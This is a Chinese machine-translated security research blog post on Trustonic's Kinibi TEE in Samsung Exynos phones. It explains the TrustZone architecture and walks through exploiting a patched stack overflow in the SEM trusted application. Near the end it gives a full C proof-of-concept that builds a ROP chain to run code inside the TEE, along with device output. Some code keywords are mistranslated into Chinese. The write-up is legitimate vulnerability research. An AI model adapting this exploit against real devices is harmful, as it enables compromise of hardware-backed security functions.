一段时间以来,Android设备和许多嵌入式系统都使用了受信任的执行环境(TEE)来托管一些安全功能(如硬件加密/密钥,DRM,移动支付,生物识别等)。 在ARM平台上,TEE是小型操作系统,它们使用ARM TrustZone技术将其执行与标准操作系统(例如Linux)隔离开。
TEE操作系统比Rich Execution Environment(智能手机中的REE,Android)简单得多,并且对逆向工程很有趣。 这篇博客文章专门介绍Trustonic的TEE实施,尤其是三星为其Exynos芯片组进行的集成。 三星最近在受信任的应用程序中修复了一个小漏洞。 在对TrustZone / Kinibi进行简要说明之后,本文详细介绍了此漏洞的利用。
信任区
在TrustZone体系结构中,TEE在安全的EL1异常级别上运行。 可将受信任的应用程序加载到其之上,并在安全的EL0异常级别上运行。 受信任的应用程序是经过签名的图像,只有在图像签名正确且来自受信任的开发人员的情况下,才能加载该图像。
REE通过执行安全监视器调用(在内核模式下使用特权SMC指令)与TEE通信。 这些调用由安全监视器处理,并中继到TEE内核。
TrustZone架构
TrustZone允许通过使用非安全标志(NS)标记内存来将安全世界的内存与正常世界隔离。 在正常情况下运行的代码只能访问标记为NS的内存。
在手机上,有3种主要的TEE实现:
- 基于Qualcomm SoC的设备上的QSEE / QTEE
- 华为的TrustedCore
- 来自Trustonic的Kinibi
存在一个开源实现: op-tee
,此版本可以在Qemu和某些开发板上运行。
基尼比
Kinibi是Trustonic(也称为T-Base或Mobicore)构建的TEE实现,主要用于Mediatek和Exynos SoC。 Kinibi由多个组件组成:
- 微内核:MTK
- 运行时管理器:RTM
- 很少的内置驱动程序:加密,安全存储,...
- 应用程序/驱动程序使用的帮助程序库:McLib
Kinibi仅在Aarch32模式下运行。
基尼比建筑
微内核以安全的EL1异常级别运行。 它提供对驱动程序和受信任的应用程序的系统调用,并强制执行任务隔离。 安全监视器中的一段代码将SMC中断从正常环境中继到TEE内核,从而允许两个环境之间进行通信。 内核还执行抢占式调度。
运行时管理器是Kinibi的主要任务,它管理普通世界客户端和受信任的应用程序之间的会话。 当REE客户端打开新会话时,RTM首先检查应用程序是否已经加载。 加载过程涉及应用程序二进制文件的签名检查。 还可以对应用程序二进制文件进行加密,因此RTM在加载受信任的应用程序之前对其进行解密。
驱动程序在安全的EL0异常级别运行,并且由于其二进制文件与受信任的应用程序具有完全相同的格式,因此它们将加载相同的API。 与TA相比,驱动程序可以访问的系统调用更多。 这些额外的系统调用使驱动程序可以映射其他任务内存,物理内存,执行SMC调用等。
McLib库为TA和驱动程序提供了API。 它是二进制文件,映射到每个驱动程序或应用程序任务中的固定地址。 应用程序通过跳转到r0
寄存器中具有API ID的库入口点来使用该库。 TA和驱动程序的功能称为tlApi*
而仅驱动程序的功能称为drApi*
。 API函数的定义可以在许多GitHub存储库中找到,这有助于逆向工程。
在Samsung手机上,可以从sboot.bin
轻松提取这些组件。 @kutyacica在ekoparty会议上提出了一种提取这些部分的好方法。 他在sboot.bin
二进制文件中找到一个表,其中包含不同组件的偏移量。 自Galaxy S6以来,此表的格式略有变化,但解压缩二进制文件仍然很简单。
受信任的应用程序
在大多数情况下,受信任的应用程序和驱动程序是签名的二进制文件,但未加密,可以轻松进行分析。 在三星手机上,这些二进制文件存储在/vendor/app/mcRegistry/
和/system/app/mcRegistry/
目录中。
受信任的应用程序和驱动程序二进制文件使用的格式是MCLF
格式。 该格式记录在trustonic-tee-user-space
GitHub项目上可用的头文件中。 mclf-ida-loader可帮助您在IDA中加载此格式。
加载TA时,Kinibi使用MCLF头映射TA存储空间中的代码,数据和bss区域。 mcLib库映射到固定地址(Galaxy S8 / S9上为0x07d00000
)。 打开会话时,共享缓冲区(称为tci
)也映射到固定地址: 0x00100000
或0x00300000
具体取决于MCLF标头中指定的版本。
REE中的TA客户端可以映射新的共享内存区域,这些区域映射为0x00200000 + map_id*0x00100000
。
TA内存映射
大多数受信任的应用程序将tci
共享内存用于输入和输出缓冲区,前32位用作命令ID。 通常,初始化是在入口点完成的(加密初始化,堆栈cookie随机化等),然后调用main函数。 main函数检查共享缓冲区的大小,然后启动主循环。 TA使用tlApiWaitNotification
(6)API等待新消息,并处理共享缓冲区的内容。 响应数据被写入共享缓冲区,TA使用tlApiNotify
(7)API通知REE,并等待新消息。
TA开发101
即使TEE操作系统专用于安全性操作,该操作系统也没有像ASLR / PIE这样的安全性强化,这使得利用受信任的应用程序中的漏洞非常容易。
在G955FXXU2CRED
和G955FXXU3CRGH
(对于Galaxy S8 +)之间的某个G955FXXU2CRED
,三星修补了SEM TA( fffffffff0000000000000000000001b.tlbin
)。
该修补程序修复了0x1B
命令处理程序中直接可达到的基于堆栈的缓冲区溢出。 此外,在此TA的新版本中启用了堆栈cookie。
/ * G955FXXU2CRED中的伪代码* / 无效 __fastcall handle_cmd_id_0x1b ( unsigned int * tciBuffer) { // [...] 字符 v64 [ 256 ]; // [sp + 158h] [bp-770h] 字符 v65 [ 256 ]; // [sp + 258h] [bp-670h] 字符 v66 [ 200 ]; // [sp + 358h] [bp-570h] 字符 v67 [ 1024 ]; // [sp + 420h] [bp-4A8h] 字符 v68 [ 64 ]; // [sp + 820h] [bp-A8h] 字符 v69 [ 52 ]; // [sp + 860h] [bp-68h] int v70; // [sp + 894h] [bp-34h] bzero( v66,0xC8u ); bzero( v64,0x100u ); bzero( v65,0x100u ); bzero( v68,0x40u ); v4 = tciBuffer [ 2 ]; v5 = tciBuffer [ 3 ]; //具有源和长度受控的memcpy memcpy(v66, tciBuffer + 4 , tciBuffer [ 3 ]); v6 = v5 + 12 ; v7 = * ( int * )(( char * )tciBuffer + v5 + 16 ); 如果 ( tciBuffer [ 23042 ] > ( unsigned int )(v7 + 208 ) ) { snprintf(v67,0x400, “〜%18s:%4d:输入数据通过缓冲区。” , v8,113 ); print( “ [E] SEM%s \ n ” , v67); 回报 ; } // [...]
没有堆栈cookie,在命令处理程序中直接可以访问基于堆栈的缓冲区溢出,这应该使您想起您的第一个漏洞利用/挑战。
受信任的应用程序具有映射的执行代码页和读写数据页。 Kinibi没有像mprotect
的syscall,也不提供syscall和Trusted Applications之间的map
,因此在TA中执行任意代码的唯一方法是对其代码进行ROP。
为了与TEE通信,使用了libMcClient.so
库。 该库提供了加载TA,打开会话,映射内存并通知受信任的应用程序的功能。 Trustonic提供了使用此库的头文件: MobiCoreDriverApi.h
。 在Android上,只有某些特权应用程序和具有特定SElinux上下文的应用程序可以使用TEE驱动程序。
这是一个简单的漏洞利用,ROP在Samsung设备上打印受控日志字符串,TEE日志以kmsg
打印。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys / stat.h> #include “ MobiCoreDriverApi.h” #define err(f_,...){printf(“ [\ 033 [31; 1m!\ 033 [0m]”); printf(f_,## __ VA_ARGS__);} #define ok(f_,...){printf(“ [\ 033 [32; 1m + \ 033 [0m]”); printf(f_,## __ VA_ARGS__);} #define info(f_,...){printf(“ [\ 033 [34; 1m- \ 033 [0m]”); printf(f_,## __ VA_ARGS__);} #define warn(f_,...){printf(“ [\ 033 [33; 1mw \ 033 [0m]”); printf(f_,## __ VA_ARGS__);} int main ( int argc, char ** argv) { mcResult_t ret; mcSessionHandle_t session = { 0 }; mcBulkMap_t 地图; uint32_t stack_size; char * to_map; // ROPgadget --binary fffffffff0000000000000000000001b.tlbin \ // --rawArch arm --rawMode thumb --offset 0x1000 uint32_t rop_chain [] = { 0x38c2 +1 , // pop {r0,r1,r2,r3,r4,r5,r6,pc} 0x0 , // r0(将是要打印的字符串) 0x0 , // r1(参数,将在mcMap之后设置) 0x0 , // r2(未使用) 0x0 , // r3(未使用) 0x0 , // r4(未使用) 0x0 , // r5(未使用) 0x0 , // r6(未使用) 0x25070 + 1 // tlApiPrintf包装器 }; 文件 * f = fopen( “ /data/local/tmp/fffffffff0000000000000000000001b.tlbin” , “ rb” ); 如果 ( ! f) { err( “无法打开TA%s \ n ” ,argv [ 1 ]); 返回 1 ; } fseek(f, 0 , SEEK_END); uint32_t ta_size = ftell(f); fseek(f, 0 , SEEK_SET); char * ta_mem = malloc(ta_size); if (fread(ta_mem, ta_size, 1 , f) != 1 ) { err( “无法读取TA” ); 返回 1 ; } uint32_t tciLen = 0x20000 ; // TA访问此WSM上的固定偏移量 //因此缓冲区应该足够大 uint32_t * tci = malloc(tciLen); ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT); 如果 (ret != MC_DRV_OK) { err( “无法mcOpenDevice \ n ” ); 返回 1 ; } to_map = strdup( “->来自受信任应用程序的Hello <- \ n ” ); ret = mcOpenTrustlet( & session, 0 , ta_mem, ta_size, ( uint8_t * ) tci , tciLen); 如果 (ret == MC_DRV_OK) { //将字符串映射到TA虚拟空间中,API返回 // TA空间中的地址。 ret = mcMap( & session, to_map, 40960 , (mcBulkMap_t * ) & map); 如果 (ret != MC_DRV_OK) { err( “无法映射到 \ n ” ); 返回 1 ; } ok( “ TA虚拟内存中的地址:0x%x \ n ” , map.sVirtualAddr); // rop_chain [1]为R0,将其指向TA中的字符串 //地址空间。 rop_chain [ 1 ] = map.sVirtualAddr; stack_size = 0x54c ; //填充堆栈框架 stack_size + = 0x20 ; //弹出的寄存器大小 //填充tciBuffer tci [ 0 ] = 27 ; // cmd ID tci [ 3 ] = stack_size + sizeof (rop_chain); // memcpy大小 memcpy( & tci [ 4 + stack_size / 4 ], & rop_chain, sizeof (rop_chain)); //通知助教 mcNotify( & session); mcWaitNotification( & session, 2000 ); mcCloseSession( & session); } mcCloseDevice(MC_DEVICE_ID_DEFAULT); 返回 0 ; }
dreamlte:/#/数据/本地/ tmp / exploit_sem [+] TA虚拟内存中的地址:0x2005f0 dreamlte:/#dmesg -c | grep TEE TEE:b01 | [I] SEM [INFO]:开始SEM TA ::版本:2016.06.15.1 TEE:b01 | [E] SEM错误的CCM版本 TEE:b01 | [E] SEM错误的CCM版本 TEE:b01 | [E] SEM handleCCMDataSWP [错误END] TEE:b01 |->从受信任的应用程序<-您好
结论
本文显示了在Trusted App中实现任意代码执行有多么容易。 SEM应用程序还包含其他重要漏洞,但是堆栈cookie限制了漏洞利用。
由于TEE提供了一种防回滚机制,因此在最新设备上,TA中的修补漏洞应该是无法利用的。 不幸的是,三星在合并与安全相关的补丁时并不总是增加版本号。 SEM TA就是这种情况,这意味着仍可以加载和利用旧版本。
在许多三星设备上,防回滚机制似乎根本不起作用(例如在S8上)。
由于攻击者可以与安全驱动程序和TEE内核syscall进行交互,因此在受信任的应用程序中获得代码执行会大大增加攻击面。